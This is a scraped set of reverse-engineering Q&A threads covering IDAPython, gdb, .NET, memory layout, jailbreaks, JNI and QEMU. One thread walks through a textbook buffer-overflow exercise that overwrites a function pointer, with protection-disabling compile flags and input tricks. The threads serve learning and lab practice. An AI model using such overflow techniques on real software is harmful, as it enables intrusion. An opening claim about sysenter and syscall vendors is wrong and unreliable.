    As interrupts are an expensive operation for the CPU (it entails a lot of bookkeeping related to theads and context switches, among other things), AMD (and later Intel) introduced the sysenter instruction (called syscall by Intel). That instruction keeps bookkeeping to the minimum by only raising to ring0 and executing kernel code.

    \n" }, { "Id": "14430", "CreationDate": "2017-01-17T22:03:15.863", "Body": "

    In IDA's documentation, there are references to modules named ida_*, as well as idc, idaapi and idautils. The former modules seem to be the lower level ones. Almost always it says that IDA Plugin SDK API wrapper: <some_module>.

    \n\n

    I have a few specific questions about the documentation and IDAPython:

    \n\n
      \n
    1. What is this IDA plugin SDK? Is it the C like API available in IDC?
      2. \n
    2. Do the higher level API allow access to all the lower level functionalities?
      3. \n
    3. What can't I seem to load lower level modules? (When I try to import ida_lines, IDA says ImportError: No module named ida_lines)
      4. \n
    \n", "Title": "How is IDAPython API structured?", "Tags": "|ida|idapython|idapro-sdk|", "Answer": "

    A bit of history: (aka an aging guy blabbering about)

    \n\n

    In the old days, we didn't have python in IDA and when an individual wanted to develop an IDA plugin he had to implement it in C and use the SDK available from hex-ray's download center using credentials received when you purchase an IDA license. We did have, however, IDC. IDC is IDA's old, proprietary and somewhat deprecated scripting language, this is not related to C however there is evident effort using a C-like syntax. It was commonly used in the past but IDAPython nearly replaced it completely. The only reason to see IDC now is for old code, that precedes IDAPython.

    \n\n

    Since then, IDAPython was developed (originally as a plugin using the aforementioned SDK, and then adopted by hex-rays and made part of IDA). Up until the recent IDA 6.95, we only had a single module exposing all of IDA's C SDK in python. That module was idaapi. idc is implementing higher level functions that were migrated from IDC into IDAPython. idautils implements some more high level functions, that weren't there before. those are rough divisions, and not entirely accurate. The important point here is that there was a single (long) python file exposing all SDK functions (that are exposed to python using SWIG).

    \n\n

    In IDA 6.95 we still have that, but it was also the first version to include multiple ida_* modules where are to replace the broad idaapi. idaapi is only included in 6.95 for backwards compatibility and should be expected to be dropped in IDA 7. Generally, the names of the modules (what follows the ida_ prefix) are the names of the header files in which those functions are defined. For example, ida_lines will expose functions defined in lines.h.

    \n\n

    Actual answers:

    \n\n
      \n
    1. The IDA plugin SDK is a collection of C header files and binary libraries that allow a third party develop IDA plugins using the provided API. It can be downloaded from the download center and it's documentation is available here.
      2. \n
    2. While the C SDK is pretty well documented, the IDAPython not so much. I often find browsing the SDK useful when developing IDAPython plugins, as functions are usually exposed to python but not documented or described as well as they are in the SDK. basically most of the functions correspond and you'll find the same functions having the same name in both IDAPython and the SDK (as this is mostly automatically generated code by/for SWIG).
      3. \n
    3. First guess would be you're using an older version of IDA, where ida_* modules don't yet exist. generally, using idaapi instead of every other module will do just fine.
      4. \n
    \n\n

    Developing for IDA:

    \n\n

    A person interested in developing for IDA has three options:

    \n\n\n" }, { "Id": "14434", "CreationDate": "2017-01-18T06:34:13.890", "Body": "

    I was reversing this binary. While I tried to set a breakpoint in gdb on main function, it couldn't find its definition. Loading up the same binary in IDA shows up main method in the Function pane. Why isn't gdb being able to find symbol which IDA can?

    \n\n

    \"enter

    \n\n

    \"enter

    \n", "Title": "Why can't gdb find symbol which IDA can?", "Tags": "|ida|gdb|breakpoint|symbols|", "Answer": "

    The file you provided is a stripped elf executable. A related question can be found here. The main issue is that a stripped elf file has no main symbol. Instead, the loader uses the e_entry header field, which points to the C libs initialization code. When the initialization is done, it will yield execution to the program.

    \n\n

    However, IDA is able to reconstruct the entry point by searching for this indirect jump.

    \n\n

    Have a look at the very start of the .text section, you will find these lines:

    \n\n
     8048637:   68 86 b7 04 08          push   $0x804b786\n 804863c:   e8 9f ff ff ff          call   80485e0 <__libc_start_main@plt>\n 8048641:   f4                      hlt \n
    \n\n

    The value being pushed here right before the call to libc's start function is the actual entry point. I hope this helps.

    \n" }, { "Id": "14444", "CreationDate": "2017-01-19T10:03:46.397", "Body": "

    I'm gathering that it's nearly a waste of time to try to reverse .NET applications in a native debugger. But why? Of course the computer is executing machine code in the end, not CIL. So what clutters the x86-64 code so much when running a .NET application? Is the general rule to use native debuggers on native code and tools like ILSpy on .NET?

    \n", "Title": "What is the relationship between .NET and x86-64 assembly?", "Tags": "|debuggers|", "Answer": "

    Microsoft .Net uses CIL (Common Intermediate Language). It is a - bytecode - assembly language for a virtual machine which is an abstract stack-based CPU - by abstract I mean not implemented in hardware.
    \nTherefore, x86 gdb cannot make sense of the .Net bytecode given that all it knows is x86 assembly. \nBut, in general you can easily reverse a bytecode into source code (because the VM states are more deterministic than those of a hardware CPU) or debug it using and .Net virtual machine with debug capabilities (i.e. ILSpy). \nIf you want more info on debuggers/decompilers/... for .Net check out this link.\nAlso, if you debug with gdb, you're most likely to be debugging the VM assembly code rather than the .Net bytecode of the application. In other words, what you are seeing is the VM running bytecode, not the bytecode running.

    \n" }, { "Id": "14448", "CreationDate": "2017-01-19T19:55:30.577", "Body": "

    My goal is to

    \n\n
      \n
    1. extract function names,
      2. \n
    2. the libraries they come from (if the functions were imported),
      3. \n
    3. function arguments, and
      4. \n
    4. strings
      5. \n
    \n\n

    from a .NET binary. How can I do this?\nIs this possible using tools like JustDecompile\nor .NET Reflector? Do they offer an API that allows to do this?

    \n\n

    I noticed IDA's Function Window is populated, but the Strings Window is not. In addition, I guess it would be easier (e.g. to get function arguments) to use a tool that does decompilation...

    \n\n

    PS:\nThe code is not obfuscated, it is not malware but regular software.

    \n", "Title": "How to programatically extract function names, function arguments and strings from a .NET binary?", "Tags": "|windows|tools|.net|decompiler|", "Answer": "

    A while back i wrote this cheapo dependency tool. It's on my GitHub. https://github.com/marshalcraft/CheapoDllDependencyTool?files=1

    \n" }, { "Id": "14450", "CreationDate": "2017-01-19T21:26:55.293", "Body": "

    I have this very simple piece of code:

    \n\n
    // test.c\nint main(){\n  int a = 0;\n  char b[10];\n  int c = 0;\n\n  return 0;\n}\n
    \n\n

    Compiled with gcc (6.2.1):

    \n\n
    $ gcc -g -o test test.c\n
    \n\n

    And analysed with gdb:

    \n\n
    $ gdb -q test\n(gdb) break 6                (the return statement)\n(gdb) run\n(gdb) x &a\n0x7fffffffecb8: 0x00000000\n(gdb) x b\n0x7fffffffecc0: 0x00000001\n(gdb) x &c\n0x7fffffffecbc: 0x00000000\n
    \n\n

    So you can clearly see that in memory, the variables are defined in this order: a, c, b.

    \n\n

    Is there a reason for that?

    \n", "Title": "GCC change the order of variable declaration", "Tags": "|gdb|gcc|", "Answer": "

    My best guess : memory alignment.

    \n\n

    An integer in C is 4 bytes and a char 1 byte. Therefore, your declarations go like this : 4B & 1x10=10B & 4B. This order means that the 10B won't be aligned on a power of two memory boundary without wasting space. Data accesses are faster on x86 machines when arrays are aligned on 16B/32B/64B - BTW 64B is the size of cacheline).

    \n\n

    Therefore, the compiler finds it more optimal to align the first two 4B variables 0x---ECCB8 & 0x---ECBC (the difference is 4bytes). Then choose the closest aligned memory location 0x---ECC0 for the array (0x---ECC0 - 0x---ECBC = 4B); the zero at the end implies the address is dividable by a power of two. If you forget about the 7F... and convert ECC0 to base 10 you get 60608 which is dividable by 64, 32, 16, ... We can assume safely then that the compiler optimized the array placement to match a 64B memory alignment.

    \n\n

    You should read Ulrich Drepper's document on memory and check Agner Fog's Software Optimization Manuals. Gold mines!

    \n\n

    Addendum :

    \n\n

    If you wish to play around with memory alignment I suggest that you check out how compiler perform data layout restructuring and padding of structures in C. Padding means that compilers add sometimes extra bytes to reach a power of two boundary. For example, imagine you have a code that contains the following

    \n\n
        typedef struct { int x; int y; int z; } point3D;\n
    \n\n

    This declaration contains three 4B variables = 12B, not a power of 2. The compiler will most likely add another 4B to align it with the closest power of 2 boundary : 16B. Therefore, after compilation your declaration will look like this :

    \n\n
        typedef struct {int x; int y; int z; char[4] padding; } point3D;\n
    \n\n

    Now with regard to your comment, I'd suggest trying the following :

    \n\n
           #include <stdio.h>\n       #include <emmintrin.h> //Required for mm_malloc\n       #define ALIGN 64\n       int main(){\n       int *a = _mm_malloc(sizeof(int), ALIGN);\n       char b[10];\n       int *c = _mm_malloc(sizeof(int), ALIGN);\n\n       printf(\"a: %p\\nb: %p\\nc: %p, a, b, c);\n\n       return 0; }\n
    \n\n

    There are many variants of malloc (and tricks with the normal malloc) which let you align your memory on the boundary you seem fit for your code.\nKeep in mind that you have two types of memory for a binary program : the heap which is manipulated using malloc type functions, and the stack, which is left to the compiler to handle (function parameters, register saving, local variables, ...). The only way you can control the stack usage and data alignment is by doing it yourself using assembly code or, if the compiler handles it, compiler directives and parameters.

    \n\n

    Your code allocates three local variables to main. Thefore, they'll be allocated in the stack, and given that your code goes through a compiler it will perform all necessary actions to align these variables using a heuristic analysis (optimistic predictive memory placement). If you compile the code provided above, you'll notice that the addresses aren't similar (heap vs. stack). 0x7FF---? for stack variables and 0x000---? for heap variables. You can play around with these functions and figure a lot of things for yourself. In doubt, refer to the documentation : Intel Software Optimization manual, Agner's, ...\nNext step if you want to understand things clearly is to delve into the OS memory allocation and paging scheme and the x86 architecture in order to understand better the requirement for alignment : cache line size, memory segmentation & BSI (Base + Scale * Index; scale can only take the following values : 1, 2, 4, and 8).

    \n\n

    I hope this addendum makes things clearer for you.

    \n" }, { "Id": "14458", "CreationDate": "2017-01-20T08:36:50.343", "Body": "

    So I have a program which is highly obfuscated and generates a unique output every time. For ease of reversing I want to make it so that the output is the same for every run (following the logic that if the output is the same, the logic executed will be the same, roughly..)

    \n\n

    At one point strace shows that the program does a number of calls to clock_gettime just before it generates an id. So I created a kernel module that makes clock_gettime return exactly the same time. Yet the program is still able to produce a unique output.

    \n\n

    In my opinion all programs must make system calls to get unique entropy for seeding random functions and without making any system calls (or if all system calls they did make were made to return non-unique entropy) the program can't produce unique (random) data.

    \n\n

    Are there any ways I'm missing that the program can get unique entropy without showing up on strace (i.e. without making a system call)?

    \n", "Title": "Removing randomness from program execution", "Tags": "|system-call|entropy|", "Answer": "

    Generally speaking, yes, there are a lot of ways to generate entropy without system calls (this can be weak entropy, but anyway).

    \n\n

    Here is a small (but obviously not even close to pretend to be full) list:

    \n\n\n" }, { "Id": "14459", "CreationDate": "2017-01-20T08:56:16.277", "Body": "

    In a nutshell: I've sniffed the data that goes from the controlling PC to the modem via RS232 serial port by building a little Y-adapter, now I want to figure out how to reverse engineer that data so that I can have full access to the device. My approach is to do one operation at a time and look for a pattern in the incoming data.

    \n\n

    However, I have some problems with the code I received by using PySerial in Python. I hope you can help me. Here is an example for one single operation:

    \n\n

    b'_S\\xf0\\xfb\\x15\\xf5_S\\xf0S%\\xc5_S\\xf0\\x1bY\\xf7_S\\xf0\\xda\\xd1\\xf7_S\\xf0_=\\xf3' (marked as byte string by the 'b')

    \n\n

    Or sorted as 'question' and 'answer': data sent by DTE (left) and DCE (right)

    \n\n
        DTE (PC)  DCE (modem)\n    _S\\xf0    \\xfb\\x15\\xf5 \n    _S\\xf0    S%\\xc5 \n    _S\\xf0    \\x1bY\\xf7 \n    _S\\xf0    \\xda\\xd1\\xf7 \n    _S\\xf0    _=\\xf3 \n
    \n\n

    As you can see some of it is hexadecimal code (marked by the '/x')- some of it is not. I tried to understand it for quite some time now, but I'm still not sure if this is really the raw code or Python has to convert some of it to ASCII on order to be able to show it to me (like the '_S' letters).

    \n\n

    I need to know this because as a next step I want my Python script to act as the new controlling PC. For this I want to use the serial.write-command of PySerial. It seems that it doesn't work to just send the string I received. Maybe I made some other mistake but my question remains: is this the raw code the device sends and receives? Or do I have to convert it some other way?

    \n\n

    Thanks in advance.\nTobi

    \n", "Title": "Handling of the communication data I received with PySerial (Python)", "Tags": "|python|serial-communication|", "Answer": "

    I would just put this as a comment but I don't have enough rep yet.\nYes your correct, Python is showing some characters as their ASCII representations. The ones marked as hexadecimal are the characters that don't have a printable ASCII representation. Using that string as-is should work fine to send with write.

    \n\n

    EDIT: maybe I don't quite understand but if you want to mimic the controlling PC (or the modem for that matter) you only want to send half of the data you have sniffed to the other device (i.e the \"question\"s or DTE (whatever that means)). Sending all data sniffed to a single device would likely end in confusion.

    \n\n

    EDIT#2: From your comment, it seems as though you are unsure of how binary data (i.e. data consisting of mostly non-printable characters) can be represented in strings:

    \n\n
    \"_\" == \"\\x5f\" # => True\n\"S\" == \"\\x53\" # => True\n# therefore:\nb'_S\\xf0' == '\\x5f\\x53\\xf0' # => True\n
    \n\n

    Hexadecimal is merely another way of representing ASCII characters and is just for us humans. While it may look like its in two forms when printed, in memory its all just bytes. Its tricky to explain and its one of these things that you'll just eventually understand. I couldn't find a good tutorial on it unfortunately.

    \n" }, { "Id": "14485", "CreationDate": "2017-01-24T12:29:11.553", "Body": "

    I find that on a jailbroken device I can access /Applications/ in a normal app from app store, although I thought due to the sandbox I shouldn't.

    \n\n

    Maybe I should write an app to determine what sections of the filesystem are accessible and run it on a normal iPhone and a jailbroken one, to see if this is true.

    \n\n

    So my question is, will jailbreaking affect file system accessibility (bypassing the sandbox) for all apps?

    \n", "Title": "Will jailbreaking affect file system accessibility for all apps?", "Tags": "|ios|", "Answer": "

    Let me try to break down what you're asking.

    \n\n
    \n

    I find when use a jailbreak device I can access /Applications/.

    \n
    \n\n

    Yes, that's correct. A jailbroken device can access an iOS device's root file system from a shell or any application (such as iFile). As of iOS 8, the Applications directory has changed to /var/mobile/Containers/Bundle/Application.

    \n\n
    \n

    But from this, I shouldn't?

    \n
    \n\n

    Well, not necessarily. If the application is running as root (think iFile or Filza), you can have read and write access to any directory on the device.

    \n\n
    \n

    Maybe I should write a App to scan the FileSystem on a normal iPhone and a jailbreak one.

    \n
    \n\n

    In theory, any application can ask to read or write a file to any directory. This is frequently how jailbreak checks are done in production apps. If the file manager does not return an error when trying to read from /var/mobile, then you know the application is being run as root on a jailbroken device.

    \n" }, { "Id": "14490", "CreationDate": "2017-01-24T20:13:17.657", "Body": "

    I cannot get this buffer overflow exploit to work for the life of me. The source code is here. It is from the book, Hacking the Art of Exploitation. The subject here is the below struct:

    \n\n
    struct user {\n   int uid;\n   int credits;\n   int highscore;\n   char name[100];\n   int (*current_game) ();\n};\n
    \n\n

    The idea is to overflow name[100] such that the address provided after the 100 letter A's will overwrite the address of the function pointer, entitled current_game.

    \n\n

    However, please see the below gdb readout:

    \n\n
    [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd048e2c]\n56        printf(\"[You have %u credits] ->  \", player.credits);\n(gdb) x/40x player.name\n0x804c08c <player+12>:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c09c <player+28>:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0ac <player+44>:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0bc <player+60>:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0cc <player+76>:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0dc <player+92>:    0x41414141  0x41414141  0x41414141  0x41414141\n0x804c0ec <player+108>:   0x41414141  0x080490bb  0x65383430  0x00006332\n0x804c0fc:  0x00000000  0x00000000  0x00000000  0x00000000\n0x804c10c:  0x00000000  0x00000000  0x00000000  0x00000000\n0x804c11c:  0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) x/5x player.current_game\n0x80490bb <pick_a_number>:    0x83e58955  0xec8318ec  0x9d2e680c  0xa2e80804\n0x80490cb <pick_a_number+16>: 0x83fffff4\n(gdb) print 6*16\n$2 = 96\n
    \n\n

    I've placed the address of another function into player.name as noted by the [Name: A*100 ... line. Below this, you can see the memory layout, how there are indeed 100 A's in memory. However, after the final A, we see that the next memory spot is 0x080490bb and has not been overwritten, even though we see that the player.name buffer does indeed contain an overflow just prior. I've shown a printout of player.current_game afterwards to display that it is indeed at address 0x80490bb which is what we see in the dump directly after the last 0x41414141. I am baffled here.

    \n\n

    What I've Tried:

    \n\n
      \n
    1. Disabled ASLR on my Fedora 25 by setting /proc/sys/kernel/randomize_va_space to 0.
      2. \n
    2. Enabled executable stack in gcc.
      3. \n
    3. Turned off the stack protection in gcc.
      4. \n
    4. Turned off PIE
      5. \n
    5. You can confirm with this command that I used to make the binary: gcc -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc
      6. \n
    6. I've tried writing the address in as \\x2c\\x8e\\x04\\08 AND just straight 0x08048e2c, neither work. This is the address of the function I'm trying to run.
      7. \n
    7. Observed that paddr and vaddr are the same throughout multiple executions of the program.
      8. \n

    8. Debugged in both gdb as you see, as well as Radare2. You can see my rabin2 printout for the file below:

      \n\n

      havecode true\npic false\ncanary false\nnx false\ncrypto false\nva true\nintrp /lib/ld-linux.so.2\nbintype elf\nclass ELF32\nlang c\narch x86\nbits 32\nmachine Intel 80386\nos linux\nminopsz 1\nmaxopsz 16\npcalign 0\nsubsys linux\nendian little\nstripped false\nstatic false\nlinenum true\nlsyms true\nrelocs true\nrpath NONE\nbinsz 20471

      9. \n
    \n\n

    Thanks.

    \n\n

    Update

    \n\n

    I am able to successfully cause a segmentation fault with the chars (such as 'A' or 'B'), however, when I do the A*100 followed by 08048e2c memory address which I am trying to jump execution to, the segfault happens, but the player.current_game function pointer address (which is right after the player.name buffer as shown above) is oddly [DEBUG] current_game pointer @ 0x34303830 rather than the address 08048e2c, which causes the segmentation fault since it can't execute 0x34303830. Additionally, I placed read/write watches on 0x804c0ec to see if I could find anything writing but was not successful in finding anything else.

    \n", "Title": "Can't get buffer to overflow over function pointer", "Tags": "|linux|c|buffer-overflow|", "Answer": "

    I'm sorry, but this certainly works for me. Lets go through this step by step, shall we?

    \n

    1. Set up

    \n

    I used your command line to compile the program:

    \n
    gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc\n
    \n

    I've done one small change though, I changed

    \n
    #define DATAFILE "/var/chance.data" // File to store user data\n
    \n

    to

    \n
    #define DATAFILE "chance.data" // File to store user data\n
    \n

    for some peace of mind.

    \n

    2. Play the game!

    \n

    \"lose

    \n

    As you can see, I'm actually pretty bad at this. The only thing we need to remember is that we chose '1' at the game menu though.

    \n

    3. Exploit it!

    \n

    Lets start by changing our name to overwrite the pointer:

    \n
    \n

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

    \n
    \n

    \"SegFault\"

    \n

    Something happened! Shoudln't that also work with just 4x BBBB at the end? Nope! But why? My best guess: stack alignment. Let's check this out.

    \n

    4. Toying around

    \n

    In game_of_choice.c I've changed

    \n
    char name[100];\n
    \n

    to

    \n
    char name[128];\n
    \n

    And tried the same with 128 times 'A':

    \n
    \n

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

    \n
    \n

    It works. So it seems your problem was stack alignment

    \n

    The standard value of -mpreferred-stack-boundary seems to be 4, meaning gcc is trying to create 16-byte aligned stack boundaries.

    \n

    5. ASCII fun

    \n

    The program is reading a string from the command line. What we want is to pass the address 0x08048e2c in this string in a fashion is can be jumped too. The problem is that if we just write 08048e2c, we are actually passing 0x3038303438653263 (0 turns into 0x30, 8 -> 0x38, and so on each digit is a one byte number) as a value to the program. So we need to pass the actual bytes that make up the address.

    \n

    When we pass \\x2c\\x8e\\x04\\x08 in the string, we actually pass 0x5c7832635c7838655c7830345c3038, because it is still interpreted as a sequence of characters which are translated to byte values one by one.

    \n

    When we have a look at any ASCII table, we notice that \\x08 translates to the special backspace-character. We certainly can not include it in text.

    \n

    Using perl -e or echo -e, we let the corresponding program know it should look out for escape sequences when it receives a string. So they actually output the 'real' byte values.

    \n
    echo -e '\\x2c\\x8e\\x04\\08'\n
    \n" }, { "Id": "14503", "CreationDate": "2017-01-26T09:05:55.067", "Body": "

    I'm trying to perform static analysis on Android framework code, and I'm coming across some Java methods that are calling JNI functions. How do I figure out which native libraries these functions reside in?

    \n\n

    Thanks.

    \n", "Title": "How to figure out which library a native JNI function is calling?", "Tags": "|android|libraries|", "Answer": "

    I haven't touched Android in almost a year but IIRC:

    \n\n

    All JNI libraries need to be loaded from Java side first e.g.

    \n\n
    System.loadLibrary(\"hello-jni\");\n
    \n\n

    which translates to invoke-virtual in compiled Java.

    \n\n

    Also, IDA Pro identifies fully qualified names in .sos it decompiles, so you will be able to figure out Java names for those JNI functions. See also http://www.hexblog.com/?p=809.

    \n\n

    This tool may also be of help, although it's rather old https://github.com/maaaaz/jnianalyzer.

    \n" }, { "Id": "14508", "CreationDate": "2017-01-27T05:25:11.807", "Body": "

    I am unable to locate a variable on the stack. I'm using Fedora 25 x64 but with a 32 bit program, btw.

    \n\n

    C program:

    \n\n
    #include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n\nchar* text1 = \"AAAAAAAAAAAAA\";\nint target;\nchar* text2 = \"BBBBBBBBBBBBB\";\nvoid vuln(char *string)\n{\n\n  printf(string);\n\n  if(target) {\n      printf(\"you have modified the target :)\\n\");\n  }\n}\n\nint main(int argc, char **argv)\n{\n  vuln(argv[1]);\n  printf(\"Program name: %s\", argv[0]);\n}\n
    \n\n

    /*After stepping into main and doing x/500wx $esp to examine the stack in gdb, here's a piece:

    \n\n
    0xffffcc00: 0x00000000  0x00000000  0x00000000  0xf7fe0ca0\n0xffffcc10: 0xf7df12af  0xf7fd765f  0x00000000  0x00000000\n0xffffcc20: 0x00000000  0x00000000  0x00000000  0x0d696910\n0xffffcc30: 0x00000000  0x00000000  0xf7fe0b79  0xf7de1ef0\n0xffffcc40: 0x00000961  0xf7fd13d8  0x7c96f087  0xf7fe1399\n0xffffcc50: 0x00000001  0x00000004  0xf7deb534  0x00000961\n0xffffcc60: 0xf7deb604  0xf7fd13d8  0xffffccbc  0xffffccb8\n0xffffcc70: 0x00000003  0x00000000  0xf7ffcfcc  0xf7fd764c\n0xffffcc80: 0xf7deb534  0x7c96f087  0xf7deb604  0xf7de1f12\n0xffffcc90: 0x03e4b784  0xffffccb8  0xffffcd48  0x00000961\n0xffffcca0: 0x00000000  0x00000000  0x00000000  0x00000000\n0xffffccb0: 0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) print &text1\n$2 = (char **) 0x804a01c <text1>\n(gdb) print text1\n$3 = 0x8048544 'A' <repeats 13 times>\n(gdb) \n
    \n\n

    As you can see, my text1 variable's address is in the 0x804 area, whereas my stack is in 0xffffcc area which is why I am completely lost. You can probably see what I'm trying to do, but I'm trying to locate 0x414141's followed by the target, followed by 0x42424242's but there are no 41s or 42s anywhere in the stack area near esp. I am currently educating myself on format string vulnerabilities, but at this point, I can't even locate the variables on the stack. Is there something I'm missing? Thanks.

    \n", "Title": "Cannot locate a variable on the stack", "Tags": "|strings|vulnerability-analysis|", "Answer": "

    The reason the you are unable to locate text1 on the program runtime stack is that during runtime text1 is in the data segment of the process running in virtual memory, not the stack. In order for a reference to text1 to be written to the stack text1 must be passed as an argument to a function which is called.

    \n\n

    When a function is called and a new stack frame is created on the runtime stack for that function, memory is allocated on the stack for any local variables declared in that function as well. However, text1, text2 and target are global variables declared outside of any function. A direct consequence of this is that memory will not be allocated for text1, text2 and target on the stack. Instead, text1 and text2 will be in the process's data segment and target will be in the bss segment. In order to understand why, familiarity with the ELF and the System V Application Binary Interface is essential.

    \n\n

    x86 Linux Process Layout in Virtual Memory

    \n\n

    For some context, here is a diagram of a process's layout in virtual memory on an x86 Linux system from Gustavo Duarte's article titled \"Anatomy of a Program in Memory\":

    \n\n

    \"Process

    \n\n

    A look at this diagram will help clarify the significance of the memory addresses you are seeing. On an x86 Linux system, the stack is high in virtual memory and grows downward. This is why when the stack is examined one sees memory addresses such as 0xffffcc10 and 0xffffccb0. The location in virtual memory of global variables text1, text2 and target will be more proximate to the program entry point since the data and bss segments are adjacent to the text segment, which is low in memory. In light of this, a memory address of 0x804a01c for text1 makes sense.

    \n\n

    ELF and the System V ABI

    \n\n

    From Section 4 (Object Files) of the ABI:

    \n\n
    \n

    An executable file holds a program suitable for execution; the file specifies how the function exec creates a program's process image.

    \n
    \n\n

    and

    \n\n
    \n

    Created by an assembler and link editor, object files are binary representations of programs intended to execute directly on a processor.

    \n
    \n\n

    Once the program is compiled, assembled and linked, it is essentially a description of what it will look like as a process. This means that an executable binary can be statically analyzed to get an idea of how things will look when the program is running. When the binary constructed from the source code provided above is analyzed it is observed that the values text1 and text2 are in the .rodata section:

    \n\n
    $ readelf -x .rodata <ELF BINARY NAME>\n\nHex dump of section '.rodata':\n  0x08048538 03000000 01000200 41414141 41414141 ........AAAAAAAA\n  0x08048548 41414141 41004242 42424242 42424242 AAAAA.BBBBBBBBBB\n  0x08048558 42424200 796f7520 68617665 206d6f64 BBB.you have mod\n  0x08048568 69666965 64207468 65207461 72676574 ified the target\n  0x08048578 203a2900 50726f67 72616d20 6e616d65  :).Program name\n  0x08048588 3a202573 00                         : %s.\n
    \n\n

    According to the ABI (4-19), the .rodata section holds read-only data that typically contributes to a non-writable segment in the process image. Examples of non-writable process image segments are the text and data segments mentioned above. The implication of this is that text1 and text2 will be located near where the program instructions are, namely the text segment, when the program is loaded into memory. The instruction memory addresses will look much more similar to the memory addresses of text1 and text2 than memory addresses on the stack.

    \n\n

    The target variable is an uninitialized global variable, so its data will be held in the bss segment.

    \n\n

    Arguments to Functions are Written to the Stack

    \n\n

    If you want pointers to these variables to appear on the runtime stack they must be passed as arguments to a function that is called at some point throughout the course of process execution, as a function's arguments are typically written to the stack in the caller's argument build area, as seen in the diagram below.

    \n\n

    Stack layout with multiple frames (from CSAPP):

    \n\n

    \"http://csapp.cs.cmu.edu/2e/ics2/asm/frame.ppt\"

    \n\n

    For example, instead of passing argv[1] as an argument to the vuln function, the global variable text1 can be passed instead. A pointer to text1 would then be saved on the stack prior to vuln being called.

    \n\n

    Alternatively, instead of hardcoding 'A' as a value for a global variable, you can pass an arbitrary number of 'A's (or any other ASCII characters) as an argument on the command line when executing your program in the shell. This will result in whatever values you pass being stored in argv[1] which is the argument to vuln.

    \n\n

    It should be noted that due to their global scope, text1, text2 and data can be referenced in any function without being passed as an argument, but in the context of format string vulnerabilities and printf\nthat is not particularly useful to know.

    \n\n

    For More Information

    \n\n

    For more information on how printf behaves in a x86 Linux environment, one can take a look at the answer to the following question on stackoverflow in which a user is calling printf in a non-standard fashion: \"ELF32 binary, little endian or not?\"

    \n\n

    Section 3.7 (titled \"Procedures\") in \"Computer Systems: A Programmer's Perspective\" covers function calls and the stack on an assembly level and has several helpful diagrams.

    \n" }, { "Id": "14523", "CreationDate": "2017-01-29T16:48:35.830", "Body": "

    I've come across multiple questions/tutorials about QEMU emulation of devices running some sort of Linux/Busybox operating system and a file system. However, I'm seeking ways to run ARM-based firmware of embedded devices using QEMU using the extracted image file.

    \n\n

    At this moment, I've been trying multiple time using something like:

    \n\n
    qemu-system-arm -machine versatilepb -m 128M -option-rom MspApp.bin \n
    \n\n

    However, in every case, I end up with a similar crash:

    \n\n
    R00=00000000 R01=00000000 R02=00000000 R03=00000000\nR04=00000000 R05=00000000 R06=00000000 R07=00000000\nR08=00000000 R09=00000000 R10=00000000 R11=00000000\nR12=00000000 R13=00000000 R14=00000000 R15=08000000\nPSR=400001d3 -Z-- A svc32\ns00=00000000 s01=00000000 d00=0000000000000000\ns02=00000000 s03=00000000 d01=0000000000000000\ns04=00000000 s05=00000000 d02=0000000000000000\ns06=00000000 s07=00000000 d03=0000000000000000\ns08=00000000 s09=00000000 d04=0000000000000000\ns10=00000000 s11=00000000 d05=0000000000000000\ns12=00000000 s13=00000000 d06=0000000000000000\ns14=00000000 s15=00000000 d07=0000000000000000\ns16=00000000 s17=00000000 d08=0000000000000000\ns18=00000000 s19=00000000 d09=0000000000000000\ns20=00000000 s21=00000000 d10=0000000000000000\ns22=00000000 s23=00000000 d11=0000000000000000\ns24=00000000 s25=00000000 d12=0000000000000000\ns26=00000000 s27=00000000 d13=0000000000000000\ns28=00000000 s29=00000000 d14=0000000000000000\ns30=00000000 s31=00000000 d15=0000000000000000\nFPSCR: 00000000\nAborted\n
    \n\n

    Understanding that the execution won't go very far given that I do not emulate any of the required hardware - a problem for later - I would a least like to have the device boot up.

    \n\n

    Currently, I've been trying on a firmware for pool automation, which from the static analysis reveals that it runs on Nucleus RTOS on a i.MX28 board from NXP, based on ARM9. The firmware is composed of two files, one appears to contain the OS, a set of XML files - likely used for the user interface - and possibly a U-boot bootloader. All of these components are in the MspApp.bin file, which I assume is the ROM image.

    \n\n

    So my questions are: 1) is it possible to partially emulate embedded devices from firmware ROM images using QEMU and if so 2) what information/commands/modification would I need to have QEMU partially emulate the extracted firmware?

    \n", "Title": "Emulating Non-Linux Firmware Image of Embedded Devices", "Tags": "|firmware|embedded|qemu|", "Answer": "

    It is possible, but emulating the raw .bin file is almost never going to work unless it's laid out exactly like the QEMU platform you're using expects. If the binary you want to run is statically-linked and is in a binary format that QEMU knows, you may be able to use QEMU user mode to run it, but you'll need to extract it from your binary image. Binwalk may be very useful for that. The bootloader is probably a good candidate for user-mode emulation, or again, anything in the filesystem that is statically-linked. A good guide is here: QEMU usermode, howto.

    \n\n

    For anything that's dynamically linked and depends on the Nucleus RTOS, you'll likely have to hack on QEMU for the OS support. That could be a timely undertaking. If you know the memory layout and where everything in MspApp.bin is loaded to start up, you might be able to make some forward progress using the Unicorn Framework (sorry, don't yet have enough rep to post more than 2 links), although you will very quickly run into issues where the board-specific hardware isn't modeled which can quickly lead you down the rabbit hole.

    \n\n

    Good luck, embedded system emulation is a frustrating but rewarding undertaking. Regardless of whether you get it working or not, you will have learned a lot by the time you're done.

